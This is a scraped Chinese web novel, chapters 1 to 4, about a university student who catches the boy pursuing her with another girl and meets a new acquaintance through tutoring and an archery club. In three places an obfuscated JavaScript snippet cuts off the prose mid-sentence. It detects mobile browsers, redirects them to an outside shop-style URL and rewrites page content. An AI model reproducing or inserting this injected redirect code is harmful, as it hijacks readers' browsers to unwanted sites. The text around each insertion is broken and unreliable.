《假戏真做了怎么办》 1. Chapter 01 晚上六点四十，天边是绵延的橘红色晚霞，有隐约微风把躁热吹散几分，不过梁因从便利店走出来时，扑面而来仍是一股热浪。 刚才和室友一起来吃了新开张不久的的茶餐厅，另三人结伴往学校寝室走，梁因则独自去便利店买了瓶水，打车去做每周一次的家教。 网约车还有6分钟到，但目测眼下的路况显然不止时间，梁因站在路边垂眼看了看手机，微信点开的对话框里依旧没有收到回复。 梁因缓缓吐了一口气，按下锁屏，有些百无聊赖地四处张望，忽然瞥见什么，目光一顿。 不远处便是宜江大学的东门，梁因所在的这条路被大家叫做后街，各种各样的店铺都有，挺繁华。 鉴于宜江大学建在视角，最近的大型商场得坐几站公交才能到，于是哪怕像今天这样是周末，后街的人也挺多。 而梁因看见的，便是从东门走出来的一个熟悉的身影—— 更确切地说是两个，从下午起便失联的陆子恒正牵着一个女孩子的手，从学校里走出来。 两人有说有笑，正往对面走去，马路上有来往的车辆，陆子恒便抬起手搂上了那女孩的腰，把人护在怀里，那女生还偏头亲了一口他的脸颊。 梁因的大脑很短暂地空白了一瞬。 陆子恒是上学期梁因在社团认识的男生，对方经常主动找她聊天，慢慢便熟悉了起来，没课的时候也约着见过几次面，他明里暗里也向梁因表达过好感。 梁因对他的印象尚可，便也就决定接触着看看。 刚好前几天家校学生的家长联系她问周末的上课时间能不能临时改成晚上，她答应之后随口跟陆子恒提了这件事，结果他主动提出女孩子一个人走夜路不安全，说会来接她回学校。 却没想到他从昨晚便开始失联，梁因一开始也没在意，只当他临时有什么事忙——直到现在。 梁因从他们身上收回目光，垂眼点开仍然没有答复的微信对话框，手指悬在语音通话上，两秒后却又退了出来，打开相机对着已经走到马路对面的两人拍了几张照片。 然后她眼睁睁地看着两人又走了一段，到达了他们的目的地—— 是学校附近的一家连锁快捷酒店。 梁因站在原地发了一会儿呆，忽然响起的手机铃声把她拉回了现实，是网约车司机的来电，说他已经停在路边了。 “哦，好，师傅我马上来。” 梁因缓缓吐了一口气，目光锁定了停在路边的车子，小跑过去钻进了后座。 车子缓缓发动，梁因往后靠在了椅背上，只觉得心跳砰砰直跳。 她不知道那女生是谁，也不知道他们是什么关系——她也并不想知道。 可是不论是从动作还是目的地来看，他们两个的关系显然已经十分亲密，而就在这样的情况下，陆子恒还天天找她聊天，给她分享日常——哦，说不定那些分享，其实都是一式两份的呢。 而要不是她今天刚好没有从离宿舍更近的北门出发，要不是正巧亲眼看到，她不知道还要被蒙在鼓里多长时间。 梁因深吸了一口气，缓缓吐出，心里五味杂陈。 ……有点恶心。 梁因偏着头看窗外，思绪有些混乱，直到车子停在云朝湾门口路边、司机出声喊她，梁因才回过神来，拉开车门下车。 天色基本上已经暗下来了，路旁也亮起了路灯。 梁因闭了闭眼睛，把脑海里的糟心事儿丢到一边，拉黑了陆子恒的微信和电话，随即按下锁屏，探头往保安室看，喊里面的人帮她开一下门禁。 云朝湾都是独栋别墅，环境很不错，绿郁葱葱，梁因快步走在小道上，一路上都没遇到人，只有耳畔此起彼伏的蝉鸣作伴。 梁因在31栋门口停下了脚步，按响门铃。 铃声才刚响没两声，铁门便缓缓打开，杨慧打开门从院子里出来迎她，语气里满是歉意：“不好意思啊梁老师，今天这么晚了麻烦你过来，主要是瑶瑶最近白天都忙，抽不出空来。” “没事儿。”梁因牵起一个笑，摇摇头，跟着杨慧进了门。 刚套上鞋套，梁因便听见从楼上传来一阵说笑声，两个小男孩一前一后从楼梯上跑下来，看样子目标是厨房，却在见到杨慧和梁因时紧急刹车，挤眉弄眼地对视一眼，随即乖乖停下了脚步。 “妈妈，我们去拿饮料。”跑在前面的小男孩开了口。 梁因认识他，何嘉瑞是杨慧的小儿子，是她学生的弟弟，今年还在读小学。 后面那个她不认识，这是第一次见，不过小男孩虽然没开口说话，却睁着圆溜溜的眼睛看梁因，她于是便也冲他眨眨眼睛，又弯唇笑了笑。 “去吧，一会儿回房间去玩，上楼的时候不要跑啊，小声一点。”杨慧点点头，又转身笑着看梁因，“梁老师直接上楼吧，瑶瑶在房间呢，一会儿我给你们拿点儿水果。” “好，谢谢。” 两个小男孩上楼之后去了何嘉瑞的房间，关上了门，梁因则在另一扇房门前站定，轻轻敲了两下。 不一会儿门便被打开，何诗瑶见到梁因时眼睛亮了亮，笑着拉开了门：“姐姐你来啦！” “嗯。”梁因笑了，走进房间，“在干什么呀？” 小姑娘给梁因拖了把椅子到桌边，没有立刻回答，抬眼看着她。 梁因了然地眨眨眼，压低了声音轻轻道：“放心，我不告诉你妈妈。” 何诗瑶松了一口气，有点儿不好意思地开口道：“我刚写完卷子，然后玩了一会儿。” 说完她便做到了书桌前，拉开了旁边的抽屉，从里面拿出什么东西，递给了梁因：“姐姐，送你的。” “给我的？”梁因有些意外，伸手接过来，手心里躺着一颗可爱的钩针小星星挂件。 “嗯。”何诗瑶应了一声，咬着嘴唇观察梁因的表情。 “这是你做的？”梁因拿在手里翻来覆去也看，抬头见何诗瑶点了点头，“好可爱啊！” 见她喜欢，何诗瑶便也笑了起来，又盯着梁因看了好一会儿，喊她：“姐姐。” “怎么啦？” 何诗瑶问得有些小心翼翼：“那我之后……还可以找你聊天吗？” 梁因从大一寒假就开始做何诗瑶的家教老师，小姑娘很乖巧听话，也一直都很喜欢梁因。 只是因为她爸爸工作调动的原因，国庆之后他们一家就要搬到别的城市去生活，这也是梁因最后几次来给她上课了。 “当然可以啊。”梁因笑起来，眉眼弯弯，“你不是有我微信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283380|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗，想找我聊天的话，随时都可以给我发消息的呀。” 何诗瑶松了口气，笑了：“谢谢姐姐！” “这有什么的。”梁因冲她眨了眨眼睛，“来吧，把上次的卷子拿出来，我们继续。” 讲完之前的试卷，梁因又重点给何诗瑶总结了一下她常错的从句的知识点，随即翻开她的辅导书挑选练习。 “做一下这两篇完型吧，老规矩，不认识的单词圈一下。” 何诗瑶点点头，听话地拿起笔开始做题。 梁因往后靠在了椅背上，端起杯子喝了一口果汁——刚才杨慧敲门进来了一次，给她们倒了饮料，还端来了一盘水果。 轻手轻脚放下了杯子，梁因缓缓吐了一口气，靠在椅背上出神，片刻后，又凑过去看何诗瑶做题。 “……姐姐你别看着我，我紧张。”何诗瑶看梁因，抿了抿唇，又用笔指指她的手机，“姐姐你还是玩会儿手机吧，我做好了喊你。” 何诗瑶脸蛋圆圆的，稍微有一点肉，她这么看着梁因的时候，梁因总想捏捏她的脸——深吸一口气才忍住，梁因笑着点点头，依她的话拿起手机，往后一靠。 “好啦，你继续写吧，我不看。” 梁因又把她送的小星星挂件拿出来把玩了一会儿，然后挂到了包上，过了不到十分钟，何诗瑶做完了题目，梁因给她把两篇文章仔仔细细讲了，又带着她做了几道翻译。 “还是老样子哦，讲过的这些短语要背，还有翻译里的时态每次都要记得检查一下。” “好，知道啦。”何诗瑶乖乖点头，“姐姐我送你下楼。” 从何诗瑶的房间推门出来，一抬眼便能看到她弟弟的房间，刚才梁因上来的时候，两个小男孩跑进房间里关上了门。 这会儿门却开着，门边站着个男生，身高看起来差不多有一八五的样子，穿着简单的黑T和牛仔裤，抱着胳膊面向房间。 “那就再玩五分钟，时间到了我就走了啊。” 他的声音干净清透，说话时腔调懒洋洋的，房间里却立刻传出一声带着撒娇意味的小男孩儿的声音：“哥——” “现在开始计时。”那男生抬了抬手，朝屋里展示了一下腕子上的机械表。 “姐姐，我们走吧。” 何诗瑶从房间里出来，那男生听见动静，偏头朝她们这边看了过来，五官轮廓利落俊逸，有细散的黑色碎发垂在额前，他没什么表情，目光转过来在她们这边停了停，点了点头算是打招呼。 “瑶瑶下课啦。” 杨慧从楼梯走上来，梁因收回目光冲她笑着点点头。 “梁老师你先稍等一下啊。”杨慧笑眯眯地对梁因说道，随即转向何嘉瑞的房间，喊了一声站在门口的男生。 “小程啊，阿姨有个事情可能要稍微麻烦你一下。” 那男生见杨慧过来便站直了，闻言点点头：“阿姨您说。” “这位是诗瑶的家教老师，跟你一样也是宜江大学的，今天是特殊情况才请她晚上来的，这个点儿她一个人我也不太放心，你刚好来接小钧回家，能不能麻烦你帮我送她一段？” “没问题。”他点点头答应下来，目光随即转向梁因，“不过可能要稍等一会儿，我刚答应了我弟弟，让他再玩五分钟。” 2. Chapter 02 梁因倒是一愣，没想到杨慧要说的是这个，她跟那男生对视一眼，连忙摆手：“不用麻烦了，那个，我有……朋友来接。” 她知道杨慧是好意，不过并不想欠一个陌生帅哥的人情，于是便找了个理由拒绝。 “这样啊。”杨慧点了点头，“今天真是不好意思啊，让你这么晚过来。” “没事儿的。”梁因笑眯眯地摇头，“那我就先走啦。” “哎，好。”杨慧应道，“瑶瑶，送送老师。” 梁因就让何诗瑶送到了门口，这个时间天色已经完全暗下来了，她看了看微信，杨慧的对话框被顶到了最上面。 一边踩着路旁路灯照下来的光往外走，梁因一边点开对话框，最新消息是课时费的转账，金额确实比之前多了一百块钱，说是不好意思麻烦她晚上跑一趟。 杨慧每次给梁因转课时费都很爽快，这平白无故多的钱她收得也有点儿不好意思，梁因一边编辑语言回复，一边想着等下次来的时候给何诗瑶带点儿东西。 等再一抬头时，梁因才发觉自己已经走到了门口，于是便站在大门口保安室旁边打车。 屏幕上的打车软件转了好几圈才有车接单，稍微有点儿远，显示还有9分钟到达。 放大地图看了一会儿小车图标缓缓移动，眼瞧着车停在了路口红绿灯处，梁因听见身后传来车子的声音，然后车灯的光照了过来。 一辆黑色越野从小区里开出来，梁因往旁边挪了挪让路，却没想到车子在她面前停了下来。 后排车窗降下，一个脑袋探了出来：“姐姐！” 梁因闻声一看，是刚才在何诗瑶家那个她第一回见的小男孩，冲她露着牙齿笑。 她有点儿意外，还没来得及说什么，驾驶座的车窗也缓缓降了下来。 “不是说有朋友来接吗？” 是刚才那个帅哥，那男孩的哥哥。 梁因被问得卡了壳，摆了摆手，脑袋飞快运转：“哦，他——” 她说到一半话音一顿，注意到他的目光停在自己的手机屏幕上——她刚才没锁屏，屏幕上显示的是她的打车软件。 梁因：“……” “还有多久？”那男生收回目光看她，“去学校的话就取消了吧，上车，我顺路送你。” 梁因眨眨眼睛没有立刻回答，而后排的男孩跟他一唱一和，笑眯眯地推开了车门：“没关系的姐姐不麻烦，你来吧，反正我哥哥很闲的。” 被一大一小两人的两双眼睛看着，梁因权衡几秒，还是决定接受他们的好意，取消了刚叫的车，上前两步坐进了车子后排。 “那就麻烦你啦。”梁因关上车门，朝驾驶座的方向看了一眼。 “不客气，老师说我们要乐于帮助别人！”坐在一旁的小男孩冲她露出一个笑，然后又扒上了驾驶座椅背，“对吧哥哥！” “坐好。”驾驶座上的人抬眸从镜子里看了一眼，看到他乖乖坐了回去，轻轻勾唇，再开口时声音里带了点笑，“人家麻烦的是我，你替我不客气什么？要不换你来开？” 男孩猛地摇头：“我还是小孩，不能开车的！” “那就乖乖坐好。” 男孩鼓了鼓脸颊：“喔。” 兄弟俩的对话听得梁因没忍住笑了笑，车厢里陷入安静，坐在她身旁的男孩晃了晃腿，看着她道：“姐姐，我叫程钧，金字旁右边加上均匀的匀——你叫什么名字呀？” “梁因，因为所以的因。” 程钧点点头，忽然拔高了声音往前看：“哥哥，到你了！” “程臻。” 梁因点了点头，见一旁的程钧被车窗外的什么东西吸引了目光，车厢里再次沉默下来。 虽然她心情不怎么好，但想了想还是礼貌地开口道：“刚才听诗瑶妈妈说，你也是的呀？” “嗯，对。” 干脆简洁的回答，片刻后程臻似乎也觉得自己听上去过于冷淡，又补充了半句：“学金融的。” 金融学院是宜江大学的最有名的学院之一，分数线相应地也最高——梁因眨了眨眼睛，他还是个学霸呢。 “我是外院的。”梁因说道。 程臻“嗯”了一声，没再继续跟她聊天。 已经完成了简单的自我介绍，梁因于是也没再跟他搭话，往后靠在椅背上，转头看了一眼扒着车窗看外面的程钧，随即收回目光，透过她这边的车窗看着外面。 “给你停北门？”程臻抬眸，从后视镜里看她一眼。 梁因点点头：“好，谢谢。” “姐姐，你周末也住在学校里吗？”程钧从窗外收回了目光，看着梁因又开始了新一轮的发问。 “对呀，因为姐姐的家不在这里。”梁因点了点头，耐心回答，“周末只有两天时间，要是回家的话，一来一回太不方便啦。” “哦。”程钧点了点头，“但是哥哥也不是每周都回家呢。” “好了，程钧，别缠着人家姐姐说话了，你不累姐姐还累呢。” 程臻很适时地开口，语气并不重，但足以让后排的小男孩鼓了鼓脸颊，“喔”了一声闭嘴乖乖坐好。 这个点路上不算堵车，程臻把车停在了北门门口，梁因下车关上车门前，弯着腰再次向他道了谢。 程臻点了点头：“不客气。” “姐姐拜拜！”程钧倒是更加热情，黑色越野开出去好一段他还探着半个脑袋，挥手跟梁因打招呼。 于是梁因也站定在路边，弯起唇角跟他挥手，然后程钧大概是被程臻说了，忽然就把手和脑袋都缩了回去。 梁因莞尔，这才收回目光，转身往学校走。 - 把钥匙插进锁孔，轻轻一旋，梁因打开了310寝室的门。 “哎呀，我们梁老师回来啦！”赵新艺就坐在靠门口的位置，听见动静便笑眯眯地转身。 “嗯，回来了。”梁因点点头，应了一声。 正在瑜伽垫上做拉伸的丁玥抬头：“怎么回事儿，因因看着兴致好像不太高啊？” “好像是有点儿。”一旁趴在椅背上看过来的周静雨抬手扶了扶眼镜，点了点头，“是不是累了啊？” 丁玥盘腿在瑜伽垫上坐下，皱起了眉看梁因：“对啊，是不舒服吗？” “今天不是你那谁去接你了吗？”赵新艺眨眨眼睛，捻起一缕微卷的头发绕在手上，“他惹你不高兴了？” 被三双眼睛顶着，梁因摇了摇头，没有立刻回答，刚才被压下去的情绪一点点又冒了出来，她长长吐了一口气才慢吞吞地开口。 “还好。”梁因勾唇笑了笑，“还好我没我没答应他跟他在一起。” 其余三人对视一眼：“怎么回事？” 梁因一只手随意地撑在桌上，手指点了几下桌面：“我好像，有可能，差点儿就变成小三了。” “……啊？”赵新艺最先反应过来，皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283381|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起眉，“陆子恒？他看起来不是挺像样的——到底怎么回事啊？” 梁因眨了眨眼睛：“说来话长。” “那就慢慢说。”赵新艺把椅子拖到了她身边，另外两人也盯着她看，等梁因讲事情的原委。 “今天晚上吃完饭之后，你们不是回去了吗，我去旁边便利店买了瓶水。”梁因说道，“然后我就干脆从东门打车过去了。” “然后我就看到——”梁因话音顿了顿，拿起手机，点开自己拍的照片给三人看。 赵新艺睁大了眼睛：“我靠，酒店啊？太不要脸了吧他！” “可是他不是还说今天要去接你的吗？”周静雨皱起了眉。 梁因摇了摇头：“他之前是这么说，不过从昨天晚上开始，他就没回过我消息了。” “不是，什么人啊！”赵新艺义愤填膺地叉着腰，“一边说要追你跟你暧昧，转头把你晾在那儿去跟别人开房？要不要脸啊他！因因你怎么不去骂他一顿啊！” “我这不是要去给小姑娘上课吗。”梁因耸了耸肩，拉开椅子坐了下来，“无所谓啊，刚好我也没有很喜欢他，我已经把他拉黑了，就当及时止损。” 周静雨忧心忡忡：“可是如果他还来纠缠怎么办？” “来就来，他敢来我就把他骂回去。”赵新艺气鼓鼓地哼了一声，“不要脸。” 丁玥闻言笑了起来：“也是，咱们艺姐是什么人，武力值和美貌值可是成正比的。” “好啦。”梁因笑了，捏着赵新艺的裙摆晃了晃，“艺姐息怒，犯不着替我为了他生气。” “对了因因。”周静雨想起什么，提醒她，“可是你们俩不是还在同一个社团吗？” “还有，上周选课。”丁玥表情复杂，“他是不是为了跟你一块儿上课，跟你选了一样的公选课啊？” 梁因：“……” “今天的百团大战正好还没开始，我现在就给社长发消息退社。”梁因垂眼点开微信，“现在选课还能不能改了？” 周静雨摇了摇头：“我没记错的话，系统好像已经关了。” 丁玥伸手摸了摸梁因的腿：“心疼。” “……那就到时候看着办吧。”梁因干脆利落地给社长发了消息退社，随即把手机锁屏放到了一边。 动作一气呵成，梁因轻吐了一口气，身体往旁边一歪，靠在了赵新艺肩上，后者搂住了她的胳膊，安抚地拍了拍。 “没事儿，旧的不去，新的不来。”赵新艺笑了，伸手捏了捏梁因的脸，“姐给你物色几个好的，咱们因因这颗小甜豆可讨人喜欢了。” 梁因笑眯眯地拿赵新艺当人型靠枕，伸手过去撩起一缕她的金棕色大波浪在手里捻了捻：“对了，那今年的百团大战你们还去不？” 赵新艺摇摇头：“我就不去了，我目前没有这个需求，但是你们要是想去的话，我可以陪你们去逛逛。” “也是，艺姐可是艺术团的门面。”丁玥伸了个懒腰，一只手撑在瑜伽垫上利落起身，“我也是，可以起到一个陪同的作用。” “我想去。”周静雨眨眨眼睛，“我有点想看看有什么社团能参加，因因你想看看新的吗？” “好呀。”梁因举起了手，“那就不劳烦你们俩了，我来做我们大学霸的贴身保镖就行——这周二对吧？后天？” “对。” 梁因点了点头，轻轻拍了一下自己的腿拍板：“好，那就安排。” 3. Chapter 03 自从梁因把陆子恒拉黑了之后，他仿佛就消失了一般，没有通过任何其他渠道联系过梁因，甚至连周一的选修课都没来。 那个时间赵新艺刚好有时间，便陪着梁因去上课，严阵以待却没等到人。 “你们老师怎么不点名啊，真是便宜他了。”下课后，赵新艺撑着脸颊看身侧的梁因收拾东西，敲了敲桌子，“我跟你说，他指不定憋着什么坏呢，连微信步数都关了。” 昨晚，寝室已经熄灯了，赵新艺忽然福至心灵，让梁因检查一下陆子恒的微信步数—— 得知他的步数“刚好”看不见了之后，赵新艺信誓旦旦地一拍床，说他摆明了就是做贼心虚。 “管他呢。”梁因摇头晃脑地哼着一首她忘了名字的歌，拉上了包的拉链，“他爱干什么干什么，跟我没关系。” “对了，你那个看电影的社团，退了没？社长怎么说？” “退了，她也没说啥。”梁因背上包起身，“我本来也就想退了，看电影我自己也能看，还每周都要写影评。” “那挺好。”赵新艺点点头。 “所以我明天跟小雨一起去逛逛百团大战，看看有没有什么有意思的新地方。”梁因笑眯眯伸了个懒腰，语气轻快，“走吧。” 今年的百团大战时间选在了周二下午，围观报名的主力军是才刚入校两周的大一新生，当然也有不少高年级的学生同样兴致勃勃地参与。 上午上完专业课之后去食堂一起吃了饭，梁因和周静雨把包交给了其他两位带回寝室，来到聚集了各个社团展位的广场。 “好多人啊。”梁因挽着周静雨的胳膊，转头看她，“你有什么特别感兴趣的吗？我们先去看看。” 周静雨抬手扶了一下眼镜，对上梁因的目光，点了点头。 去年大一周静雨拿到了3.9的绩点，所有的专业课都是满分，只有体育稍稍拖了后腿。所以当梁因听见她说想去弓箭协会的时候，第一反应是以为自己听错了。 “弓箭协会？”梁因抬手比划了一下射箭的动作，“这个？” 周静雨又点点头。 “不是，你——”梁因笑了，颇为意外地看着她，“你是不是被丁玥附身了啊？快把我们小雨还给我！” “我才没有她这么厉害呢。”周静雨看看她，目光飘向别处又转了回来，“我就是……有点儿感兴趣。” 见她这副表情，梁因忽然明白过来什么，凑近了些问道：“你该不会是看上谁了吧？是对射箭感兴趣，还是对什么人感兴趣啊？” “没有！”周静雨立即否认，可脸颊却一下子就红了，“谈不上……” 她这反应被梁因当作默认，连忙晃她胳膊，做出一副星星眼的样子：“快告诉我告诉我嘛，是谁啊？帅不帅？” 被梁因一双水汪汪的大眼睛目光灼灼地盯着，周静雨不好意思地转开头，好半晌终于妥协：“就……他们社长。” “真的啊！”梁因笑了，“你们是怎么认识的啊？” “就，上个学期有一门选修课，期末的小组作业刚好跟他分在一组了。”周静雨吐了一口气，“哎呀，也就只是刚认识啦。” “快带我去看看！”梁因眼睛亮了亮，随即竖起三根手指向她保证，“我肯定不会乱说话的！” 周静雨的脸比刚才更红了几分：“好吧，不过——” “不过什么？” “不过，你要不要跟我一起参加啊？我一个人有点不太好意思。”周静雨咬着下唇，眨了眨眼睛看梁因。 “好啊，没问题。”梁因点点头一口答应下来，“我陪你一起。” 周静雨的性格偏内向，社交圈不太广，虽然梁因不知道她是怎么认识的这位社长，不过按她的性子，愿意迈出这么一步已然不易，梁因当然愿意助她一臂之力。 “弓箭协会应该在靠近体育馆的方向。”周静雨一边走一边张望，很快锁定了目标，“啊，找到了。” “先等会儿过去，让我观察一下。”梁因抱着周静雨的胳膊，拉着她找了个不影响别人的角落站着，远远观望弓箭协会的展位。 人不多，一共只有三个男生，其中一个在收发登记表，还有一个背对着她们，穿了件黑T戴着护具，正在展示手上拿着的弓，一旁另一个男生正在给围观的同学们讲解。 两人默不作声地又看了一会儿，那个做展示的男生拿了支海绵箭，朝着挂在墙上的箭靶拉开了弓。 虽然只是背影，但男生拉弓的姿势自然舒展，动作看起来轻松简单，露出的手臂线条则充满了力量感。 虽然梁因的第一反应是觉得这男生看起来似乎不太像是周静雨会喜欢的风格，不过转念又想，这好像是她的刻板印象，喜欢这种事情哪说得准，便把这个想法抛到了脑后。 “还挺帅的。”梁因做出评价，转头问周静雨，“背影这样，脸应该不差吧？” “嗯？”周静雨有些茫然，随即反应过来梁因估计是看错了人，“我不认识他——社长是穿条纹条纹T恤的那个。” ……嗯？ 梁因再次确认：“在做讲解的那个？” 周静雨点了点头。 梁因于是又抬眼看过去，周静雨说的那一位正在和说话，看起来是在给感兴趣的同学做介绍，光看侧脸给人的印象是偏温和好亲近的类型。 “他叫什么名字呀？” “沈铭川。” “哦。”梁因笑眯眯地点头，“挺配。” “什么——”周静雨的话刚开了个头便反应了过来，清了清嗓子把后半句咽了回去，又抬手扶了扶眼镜。 恰好，刚才围观的那一波同学走了，展位前短暂地空了下来，梁因看准机会问周静雨：“那我们过去吗？” “啊，好。” 两人于是装作一路逛过来的样子，脚步停在弓箭协会的易拉宝前。 “诶。”沈铭川认出了周静雨，笑着跟她打了个招呼，又看向梁因，“你室友？” 周静雨笑了笑，点点头：“对。” 梁因装作不知情，可她一句“你们两个认识啊”还没来得及说出口，拿着弓的黑T男生转了过来，他原本只是随意一瞥，然而目光却跟梁因对上，两人皆是一愣。 “是你啊？” 梁因就那天晚上见过程臻一次，刚才隔了一段距离光看背影，完全没有认出他来。 这回惊讶的便成了周静雨：“你们认识啊？” “算……认识吧。”梁因又瞥了程臻一眼，后者点了点头算是同意她的说法。 “那真是太巧了。”沈铭川笑了，从旁边拿来两张登记表，“那你们要不要考虑一下，来我们协会啊？” 周静雨转头看了一眼程臻手上的弓：“射箭会很难吗？” “不难，很有意思的。”沈铭川看了看程臻，示意他也说两句。 “对，不难。”程臻点点头，忽然想起了什么笑了笑，“而且我们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283382|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场馆在室内，有空调，冬暖夏凉。” “……说什么呢。” 沈铭川有些无奈地看程臻一眼，后者却毫不在意地一偏头，唇角还勾着笑：“怎么了，我又没说错。” 梁因和周静雨对视一眼，看在沈铭川眼里是还在犹豫不决的意思，想了想道：“程臻，要不让她们看一下弓？” “好。”程臻点点了头应下，把手里的弓递到了两人面前，“这把是反曲，大家平时就用的是这种——要不要拿着看一下？” 周静雨犹豫了一下，眯了眯眼睛，转头看向梁因，用眼神示意她来。 “我直接拿就行？”梁因抬眼看程臻。 程臻点点头，确保梁因拿稳了才松手，又不忘提醒一句：“稍微有点儿沉，小心。” 这弓的确比想象里的要更重一些，梁因接了过来，用另一只手扶着，才垂眼仔仔细细地看。 弓把由好多部分组成，整体是深蓝色的，中间是许多她不认识的复杂装置，推把处因为刚才一直被程臻拿着，还带着些他手心的温度。 “这把有点重，女生也有轻一点的。”程臻补充道。 “就当来体验一下也行。”沈铭川笑着递给周静雨两张登记表。 周静雨转过头递了个眼神给梁因，后者了然，把弓递还给程臻，点点头：“那好呀。” 沈铭川把两人填完的表格收好，又让她们扫码进了群，周静雨便说打算再去看看其他社团，打了招呼便挽着梁因走了，他于是收回了视线看向程臻。 “那个女生你认识啊？” “你说梁因？” 程臻一挑眉，想起那天在杨慧家见到梁因跟何诗瑶站在一起，她穿了条鹅黄色的裙子，长度好像到膝盖，看起来像是一块儿柠檬味儿的糖。 “算是认识吧。”他说，“见过一次。” - 在弓箭协会填了登记表便算是达成了目的，梁因和周静雨便没再多逛，又随便看了看便打道回府。 梁因挽着周静雨的胳膊，笑眯眯地给她打预防针，说她一会儿一定要好好跟没来的两人转述周静雨终于有了“心动男嘉宾”，结果把人惹得又不好意思地转开头，脚步却一顿。 “因因。”周静雨皱起了眉，抬手指向一处，“你看那是不是——” 梁因顺着她手指的方向看过去，她们宿舍楼下站着个眼熟的人。 大概是微信和电话都被拉黑，陆子恒联系不上梁因，于是才只好来她宿舍楼下等她。 梁因远远地看着，只见陆子恒站在树下的荫凉处，似乎是微微皱着眉，时不时张望两眼，随即又垂下头拿起手机看了看。 “没事儿。”梁因对上周静雨的目光，笑着摇了摇头，“我去跟他聊两句，一会儿你先上去好了。” 两人走近的时候，陆子恒刚好抬头看过来，紧皱的眉头一下子舒展开来，朝梁因笑了笑。 “……亏他还笑得出来。”周静雨小声嘟囔了一句，看了梁因一眼，见她冲自己点点头，便收回目光瞪了陆子恒一眼，从他身边进了宿舍楼。 她这反应梁因看着觉得可爱，没忍住勾唇笑了笑，陆子恒却以为她这笑是冲他，暗自松了口气。 “我就知道你没这么容易生气。”陆子恒清了清嗓子，“那个，那天没去接你是我不对，因因你听我解释。” 梁因倒是还真想听听他能编出些什么来，于是好整以暇地一挑眉，轻轻扬了扬下巴：“好啊，你解释。” 4. Chapter 04 “那天是真的有点儿特殊情况，我也不是故意不回你消息的。”陆子恒说道，“前一天晚上我就有点儿不太舒服，所以很早就睡了，起来之后头特别疼，也吃不下饭，后来量了量体温，一看已经上39度了。” 陆子恒看着梁因的眼神里满是诚恳的歉意，要不是她亲眼目睹了他和另一个女生搂搂抱抱还进了酒店，说不定她有可能真的会相信。 “哦，39度了？”而此刻梁因只想笑，看着他，“那还挺严重的呢。” “所以我后来吃了药，本来想跟你说一声的，没想到迷迷糊糊睡着了，等醒过来的时候已经很晚了。”陆子恒停顿了一会儿，“后来就看到你给我发的消息，我想回的时候就发现消息已经发不过去了。” “那你第二天怎么不来找我？” “我知道，你把我拉黑肯定是不高兴了，没提前跟你说确实是我不好，所以我就想让你冷静两天。”陆子恒道，“而且我感冒发烧怕传染给你，今天好点儿了才来找你。” “哦。”梁因点点头，“现在已经好啦？” “好多了。”陆子恒笑了，“最近天气热，你在寝室也别直接对着空调吹，晚上还是得盖被子，注意别着凉了。” 梁因眨了眨眼睛，勾起唇角笑了笑，应了一声“好”。 梁因本身就是偏温和的长相，圆圆的眼睛瞳仁黑亮，灵气十足，笑起来的时候毫无攻击性。 陆子恒只当她好糊弄，几句话就顺利应付了过去，笑道：“那既然误会都解开了，因因，你是不是能把我从黑名单你放出来啦？” 梁因看着陆子恒的笑脸，点点头：“可以啊，不过我还有个问题。” “你问。” 梁因勾了勾唇角，看着陆子恒的眼睛：“你在这儿对我嘘寒问暖，你女朋友知道吗？” 陆子恒嘴角的笑一僵，脸色瞬间变了。 梁因看着他，看他硬挤出一个笑来看着自己：“因因你说什么呢，别跟我开玩笑了。” “我有没有在开玩笑，你自己比较清楚吧？”梁因不想再跟他多说，“就这样吧，以后你别再来找我了。” 说完，梁因便头都不回地绕开陆子恒走进寝室大楼，一眼便看见了站在楼梯口等她的周静雨。 “他没怎么样吧？”周静雨瞥了一眼还在外面的陆子恒。 “他爱怎么样怎么样。”梁因笑了，“好啦，快上去吧，外面好热啊。” 回到310，一开门便是扑面而来的凉气，赵新艺用叉子叉起西瓜挨个投喂，问她们有什么收获。 “报了个射箭协会。”梁因道，“而且明天就是第一个活动日呢。” “射箭协会？”赵新艺看了一眼丁玥，“这不应该是玥玥的风格吗？你们俩——” 梁因没说话，笑眯眯地看着周静雨，等她自己说。 反正赵新艺和丁玥早晚会知道，周静雨便主动说了，意料之中被好一番追问八卦，实在不好意思了，便把梁因也拖下了水—— “好啦，别说我了，那个，我们刚刚回来的时候，在楼下遇到陆子恒了。” “他怎么说？”赵新艺皱着眉头看梁因。 梁因于是把陆子恒的话概括了一下说给她们听，赵新艺冷笑一声：“我就说他干嘛好端端地关掉微信步数，原来是在这儿等着呢。” 